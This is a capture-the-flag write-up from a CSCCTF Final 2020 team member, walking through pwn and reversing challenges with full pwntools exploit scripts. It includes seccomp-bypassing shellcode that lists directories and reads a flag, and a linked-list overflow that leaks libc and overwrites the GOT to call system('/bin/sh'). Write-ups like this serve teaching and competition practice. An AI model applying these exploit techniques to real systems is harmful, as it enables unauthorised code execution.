CSCCTF FINAL 2020
Published on 20 Dec 2020
CSCCTF FINAL 2020
My team TNT
got 2nd place out of 10 finalists on the final, in this post I will cover Reverse engineering
and Binary Exploitation
challenge
babysc
Description
"(`Д´)
P.S. flag is in /home/(chall name)/(unknown dir)/flag.txt"
Author: tempestuous
nc 139.59.97.212 23339
Solution
Main function:
this is a shellcode challenge, but we have some restriction according to the seccomp setup, we can only use a few syscalls:
since we have to guest the folder file, we can use getdents64
to listing all the file and directory, after we found the right folder name
we can use openat
to open the flag.txt then read
and write
the flag.
first, we use getdents64
to list all the files and directories inside
#!/usr/bin/env python2
'''
author : tripoloski
visit : https://tripoloski1337.github.io/
mail : arsalan.dp@gmail.com
'''
import sys
from pwn import *
context . update ( arch = "amd64" , endian = "little" , os = "linux" , log_level = "debug" ,
terminal = [ "tmux" , "split-window" , "-v" , "-p 85" ],)
LOCAL , REMOTE = False , False
TARGET = os . path . realpath ( "/home/tripoloski/code/ctf/cscctf2020-final/pwn/babysc/babysc" )
elf = ELF ( TARGET )
def attach ( r ):
if LOCAL :
bkps = [ "* main+180" ]
gdb . attach ( r , ' \n ' . join ([ "break %s" % ( x ,) for x in bkps ]))
return
def exploit ( r ):
attach ( r )
a = asm ( shellcraft . openat ( - 2 , '/home/babysc/' ). rstrip ())
a += asm ( '''
mov rdi,rax
xor rdx,rdx
xor rax,rax
mov dx,0x3210
lea rsi,[rsp]
mov al,217
syscall
mov rax, 1
mov rdi, 1
mov rsi, rsp
mov rdx, 500
syscall
''' )
r . sendline ( a )
r . interactive ()
return
if __name__ == "__main__" :
if len ( sys . argv ) == 2 and sys . argv [ 1 ] == "remote" :
REMOTE = True
r = remote ( "139.59.97.212" , 23339 )
else :
LOCAL = True
r = process ([ TARGET ,])
exploit ( r )
sys . exit ( 0 )
now we can just read
and write
the flag
#!/usr/bin/env python2
'''
author : tripoloski
visit : https://tripoloski1337.github.io/
mail : arsalan.dp@gmail.com
'''
import sys
from pwn import *
context . update ( arch = "amd64" , endian = "little" , os = "linux" , log_level = "debug" ,
terminal = [ "tmux" , "split-window" , "-v" , "-p 85" ],)
LOCAL , REMOTE = False , False
TARGET = os . path . realpath ( "/home/tripoloski/code/ctf/cscctf2020-final/pwn/babysc/babysc" )
elf = ELF ( TARGET )
def attach ( r ):
if LOCAL :
bkps = [ "* main+180" ]
gdb . attach ( r , ' \n ' . join ([ "break %s" % ( x ,) for x in bkps ]))
return
def exploit ( r ):
attach ( r )
a = asm ( shellcraft . openat ( - 2 , '/home/babysc/55ffa688e1003d7020b4b2b0e84b85fc/flag.txt' ). rstrip ())
a += asm ( '''
mov rdi, rax
lea rsi, [rsp]
mov rdx, 0x1000
mov rax, 0
syscall
mov rdi, 1
lea rsi, [rsp]
mov rdx, rax
mov rax,1
syscall
''' )
r . sendline ( a )
r . interactive ()
return
if __name__ == "__main__" :
if len ( sys . argv ) == 2 and sys . argv [ 1 ] == "remote" :
REMOTE = True
r = remote ( "139.59.97.212" , 23339 )
else :
LOCAL = True
r = process ([ TARGET ,])
exploit ( r )
sys . exit ( 0 )
FLAG: CSCCTF{on3_b4bySteP_At_a_t1mE}
linkedbin
Description
≧ω≦
Author: tempestuous
nc 128.199.211.118 23338
Solution
I found a bug, in the edit
function which can be used to overwrite the next pointer. let’s take a look at the insert
function
as you can see, we can input data up to 63 bytes, when on the edit
function we can input up to 80 byte
with this bug, we can overwrite the next pointer to free@got
then we can leak libc by view the free@plt
address as ID, after that
we can overwrite the got address using edit
function, in order to use system
function, we can overwrite the atoi@got
since we can
control the %rdi
register for this function, this is my full exploit to solve this challenge:
#!/usr/bin/env python2
'''
author : tripoloski
visit : https://tripoloski1337.github.io/
mail : arsalan.dp@gmail.com
generated by skeloski GEF
'''
import sys
from pwn import *
context . update ( arch = "amd64" , endian = "little" , os = "linux" , log_level = "info" ,
terminal = [ "tmux" , "split-window" , "-v" , "-p 85" ],)
LOCAL , REMOTE = False , False
TARGET = os . path . realpath ( "/home/tripoloski/code/ctf/cscctf2020-final/pwn/linkedbin/linkedbin" )
elf = ELF ( TARGET )
libc = ELF ( "./libc6_2.27-3ubuntu1.2_amd64.so" )
# libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
def attach ( r ):
if LOCAL :
bkps = [ "* findnode" ]
gdb . attach ( r , ' \n ' . join ([ "break %s" % ( x ,) for x in bkps ]))
return
def insert ( ID , content ):
r . sendlineafter ( ">>" , "1" )
r . sendlineafter ( ":" , str ( ID ))
r . sendlineafter ( "Content:" , content )
def edit ( ID , new ):
r . sendlineafter ( ">>" , "2" )
r . sendlineafter ( ":" , str ( ID ))
r . sendafter ( ":" , new )
def view ( ID ):
r . sendlineafter ( ">>" , "3" )
r . sendlineafter ( ":" , str ( ID ))
def remove ( ID ):
r . sendlineafter ( ">>" , "4" )
r . sendlineafter ( "ID:" , str ( ID ))
def exploit ( r ):
attach ( r )
insert ( "/bin/sh" , "A" * 62 )
insert ( 1 , "B" * 62 )
insert ( 2 , "C" * 62 )
insert ( 3 , "D" * 62 )
insert ( 4 , "E" * 62 )
# 0x4f365 execve("/bin/sh", rsp+0x40, environ)
# constraints:
# rsp & 0xf == 0
# rcx == NULL
# 0x4f3c2 execve("/bin/sh", rsp+0x40, environ)
# constraints:
# [rsp+0x40] == NULL
# 0x10a45c execve("/bin/sh", rsp+0x70, environ)
# constraints:
# [rsp+0x70] == NULL
edit ( 2 , "F" * ( 64 + 8 ) + p64 ( elf . got [ 'free' ]))
r . sendlineafter ( ">>" , "3" )
r . sendlineafter ( ":" , str ( 0x400756 ))
r . recvuntil ( "Content: " )
leak = u64 ( r . recv ( 8 ). split ()[ 0 ]. ljust ( 8 , " \x00 " ))
libc_base = leak - libc . sym [ 'puts' ]
system = libc_base + libc . sym [ 'system' ]
binsh = libc_base + libc . search ( "/bin/sh" ). next ()
puts = libc_base + libc . sym [ 'puts' ]
one = libc_base + 0x10a45c
log . info ( "leak: " + hex ( leak ))
log . info ( "system: " + hex ( system ))
edit ( str ( 0x400756 ), p64 ( puts ) + p64 ( 0xdeadbeef ) + p64 ( libc_base + libc . sym [ 'printf' ]) + p64 ( 0xdeadbeef ) + p64 ( libc_base + libc . sym [ 'read' ]) + p64 ( libc_base + libc . sym [ 'fgets' ]) + p64 ( libc_base + libc . sym [ 'calloc' ]) + p64 ( libc_base + libc . sym [ 'getchar' ]) + p64 ( libc_base + libc . sym [ 'setvbuf' ]) + p64 ( system ) )
r . sendline ( "/bin/sh" )
# edit(2, "F" * (64 + 8) + p64(0x602028))
# r.sendlineafter(">>","3")
# r.sendlineafter(":",str(0x00400776))
# r.recvuntil("Content: ")
# leak = u64(r.recv(8).split()[0].ljust(8, "\x00"))
# libc_base = leak - libc.sym['printf']
# system = libc_base + libc.sym['system']
# binsh = libc_base + libc.search("/bin/sh").next()
# log.info("leak: " + hex(leak))
# log.info("system: " + hex(system))
# log.info("/bin/sh: " + hex(binsh))
# remove(0)
# remove(0)
# remove(4)
r . interactive ()
return
if __name__ == "__main__" :
if len ( sys . argv ) == 2 and sys . argv [ 1 ] == "remote" :
REMOTE = True
r = remote ( "128.199.211.118" , 23338 )
else :
LOCAL = True
r = process ([ TARGET ,])
exploit ( r )
sys . exit ( 0 )
FLAG: CSCCTF{sh0uldv3_v3rified_Links_FirsT}
readme
Description
what's my final value?
Author: avltree
Solution
in order to solve this challenge, we can just cross-compiling the assembly code using aarch64-linux-gnu-gcc-8
then run the compiled binary
using qemu. but first of all, we have to clean the code here is the fixed code
.globl main
.p2align 2
main:
sub sp, sp, #64
stp x29, x30, [sp, #48]
add x29, sp, #48
stur w0, [x29, #-4]
stur x1, [x29, #-16]
mov x8, #100
str x8, [sp, #24]
str wzr, [sp, #20]
LBB0_1:
ldr w8, [sp, #20]
cmp w8, #1337
b.ge LBB0_28
ldr w8, [sp, #20]
mov w9, #3
sdiv w10, w8, w9
mul w9, w10, w9
subs w8, w8, w9
cbnz w8, LBB0_4
ldr x8, [sp, #24]
add x8, x8, #1000
str x8, [sp, #24]
b LBB0_26
LBB0_4:
ldr w8, [sp, #20]
mov w9, #4
sdiv w10, w8, w9
mul w9, w10, w9
subs w8, w8, w9
cbnz w8, LBB0_6
ldr x8, [sp, #24]
add x8, x8, #100
str x8, [sp, #24]
b LBB0_25
LBB0_6:
ldr w8, [sp, #20]
mov w9, #5
sdiv w10, w8, w9
mul w9, w10, w9
subs w8, w8, w9
cbnz w8, LBB0_8
ldr x8, [sp, #24]
add x8, x8, #10
str x8, [sp, #24]
b LBB0_24
LBB0_8:
ldr w8, [sp, #20]
mov w9, #6
sdiv w10, w8, w9
mul w9, w10, w9
subs w8, w8, w9
cbnz w8, LBB0_10
ldr x8, [sp, #24]
add x8, x8, #1
str x8, [sp, #24]
b LBB0_23
LBB0_10:
ldr w8, [sp, #20]
mov w9, #7
sdiv w10, w8, w9
mul w9, w10, w9
subs w8, w8, w9
cbnz w8, LBB0_12
ldr x8, [sp, #24]
add x8, x8, #2000
str x8, [sp, #24]
b LBB0_22
LBB0_12:
ldr w8, [sp, #20]
mov w9, #8
sdiv w10, w8, w9
mul w9, w10, w9
subs w8, w8, w9
cbnz w8, LBB0_14
ldr x8, [sp, #24]
add x8, x8, #200
str x8, [sp, #24]
b LBB0_21
LBB0_14:
ldr w8, [sp, #20]
mov w9, #9
sdiv w10, w8, w9
mul w9, w10, w9
subs w8, w8, w9
cbnz w8, LBB0_16
ldr x8, [sp, #24]
add x8, x8, #20
str x8, [sp, #24]
b LBB0_20
LBB0_16:
ldr w8, [sp, #20]
mov w9, #10
sdiv w10, w8, w9
mul w9, w10, w9
subs w8, w8, w9
cbnz w8, LBB0_18
ldr x8, [sp, #24]
add x8, x8, #2
str x8, [sp, #24]
b LBB0_19
LBB0_18:
ldr x8, [sp, #24]
add x8, x8, #1337
str x8, [sp, #24]
LBB0_19:
LBB0_20:
LBB0_21:
LBB0_22:
LBB0_23:
LBB0_24:
LBB0_25:
LBB0_26:
ldr w8, [sp, #20]
add w8, w8, #1
str w8, [sp, #20]
b LBB0_1
LBB0_28:
ldr x8, [sp, #24]
mov x9, sp
str x8, [x9]
mov w10, #0
mov x0, x10
ldp x29, x30, [sp, #48]
add sp, sp, #64
ret
now, we can compile the asm code and run the binary on gdb-multiarch
then set up breakpoint on LBB0_28
check %x8
after str x8, [x9]
instruction
FLAG: CSCCTF{1233423}
breaker
Description
Where the exactly indexed flag? please let me know.
Author: redspr
Solution
I solved this challenge manually, setting up break point on main+309
then run the binary with our input for example A
or 41h
in hexa
as you can see, our input is stored on %rbx
, and the %rax
value (0x77) is the right input, so I add manually the right input one by one 48 times lol
#!/usr/bin/env python2
'''
author : tripoloski
visit : https://tripoloski1337.github.io/
mail : arsalan.dp@gmail.com
generated by skeloski GEF
'''
import sys
from pwn import *
context . update ( arch = "amd64" , endian = "little" , os = "linux" , log_level = "info" ,
terminal = [ "tmux" , "split-window" , "-v" , "-p 85" ],)
LOCAL , REMOTE = False , False
TARGET = os . path . realpath ( "/home/tripoloski/code/ctf/cscctf2020-final/rev/breaker" )
elf = ELF ( TARGET )
def attach ( r ):
if LOCAL :
bkps = [ "* main+309" ]
gdb . attach ( r , ' \n ' . join ([ "break %s" % ( x ,) for x in bkps ]))
return
def exploit ( r ):
attach ( r )
a = 'w8oipn'
a += chr ( 0x33 )
a += chr ( 0x48 )
a += chr ( 0x4d )
a += chr ( 0x4d )
a += chr ( 0x63 )
a += chr ( 0x71 )
a += chr ( 0x23 )
a += chr ( 0x4a )
a += chr ( 0x77 )
a += chr ( 0x75 )
a += chr ( 0x76 )
a += chr ( 0x23 )
a += chr ( 0x39 )
a += chr ( 0x4e )
a += chr ( 0x40 )
a += chr ( 0x68 )
a += chr ( 0x69 )
a += chr ( 0x69 )
a += chr ( 0x77 )
a += chr ( 0x39 )
a += chr ( 0x23 )
a += chr ( 0x6e )
a += chr ( 0x6e )
a += chr ( 0x4a )
a += chr ( 0x2a )
a += chr ( 0x55 )
a += chr ( 0x2a )
a += chr ( 0x63 )
a += chr ( 0x6a )
a += chr ( 0x6a )
a += chr ( 0x69 )
a += chr ( 0x69 )
a += chr ( 0x29 )
a += chr ( 0x39 )
a += chr ( 0x6c )
a += chr ( 0x2b )
a += chr ( 0x26 )
a += chr ( 0x23 )
a += chr ( 0x4a )
a += chr ( 0x6d )
a += chr ( 0x77 )
a += chr ( 0x77 )
print len ( a )
for i in range ( len ( a )):
r . sendline ( a [ i ])
r . sendline ( "A" )
r . interactive ()
return
if __name__ == "__main__" :
if len ( sys . argv ) == 2 and sys . argv [ 1 ] == "remote" :
REMOTE = True
r = remote ( "127.0.0.1" , 1337 )
else :
LOCAL = True
r = process ([ TARGET ,])
exploit ( r )
sys . exit ( 0 )
FLAG: CSCCTF{wh4t_th3_fun_m0m3nt_brutef0rc1ng_w1th_SubPr0cesS}
cr4shed
Description
The application keep failing, I wonder why
Author: avltree
Solution
unpack the .ipa
file using unzip then go to Payload/AVLBankFramework.framework/
, now open AVLBankFramework
binary on ida
FLAG: CSCCTF{G00dR3v3rs3rC4nM4k34L0T0fM0n3Y}